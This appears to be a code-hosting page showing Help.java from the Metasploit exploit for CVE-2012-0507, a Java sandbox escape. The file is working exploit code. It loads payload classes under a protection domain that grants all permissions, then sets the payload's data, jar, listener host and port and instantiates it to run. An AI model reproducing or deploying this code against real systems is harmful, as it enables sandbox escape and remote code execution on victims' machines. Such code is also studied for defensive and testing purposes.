Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2012-0507/msf/x/Help.java
Views: 11788
package msf.x;12import java.io.ByteArrayOutputStream;3import java.io.IOException;4import java.io.InputStream;5import java.io.ObjectInputStream;6import java.io.ObjectOutputStream;7import java.io.Serializable;8import java.net.URL;9import java.security.AllPermission;10import java.security.CodeSource;11import java.security.Permissions;12import java.security.ProtectionDomain;13import java.security.cert.Certificate;14import java.lang.reflect.Field;1516public class Help extends ClassLoader implements Serializable{17public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) {1819String classNames[] = { "msf.x.PayloadX$StreamConnector", "msf.x.PayloadX" };20String classPaths[] = { "/msf/x/PayloadX$StreamConnector.class", "/msf/x/PayloadX.class" };21Class cls = null;2223try24{25for( int index=0 ; index<classNames.length ; index++ )26{2728ByteArrayOutputStream bos = new ByteArrayOutputStream();29byte[] buffer = new byte[8192];30int length;3132// read in the class file from the jar33InputStream is = expl.getClass().getResourceAsStream( classPaths[index] );3435// and write it out to the byte array stream36while( ( length = is.read( buffer ) ) > 0 )37bos.write( buffer, 0, length );3839// convert it to a simple byte array40buffer = bos.toByteArray();4142URL url = new URL( "file:///" );43Certificate[] certs = new Certificate[0];44Permissions perm = new Permissions();45perm.add( new AllPermission() );46ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm );47cls = h.defineClass( classNames[index], buffer, 0, buffer.length, pd );48}4950// cls will end up being the PayloadX class51if( cls != null )52{53// reflect into the PayloadX class to get these three fields54Field payload_data = cls.getField( "data" );55Field payload_jar = cls.getField( "jar" );56Field payload_lhost = cls.getField( "lhost" );57Field payload_lport = cls.getField( "lport" );5859// instantiate the PayloadX object once so as we can set the native payload data60Object obj = cls.newInstance();6162// set the native payload data, lhost and lport63payload_data.set( obj, data );64payload_jar.set( obj, jar );65payload_lhost.set( obj, lhost );66payload_lport.setInt( obj, lport );6768// instantiate a second PayloadX object to perform the actual payload69obj = cls.newInstance();70}71}72catch( Exception e ) {73//System.out.println(e.getMessage());74}75}76}777879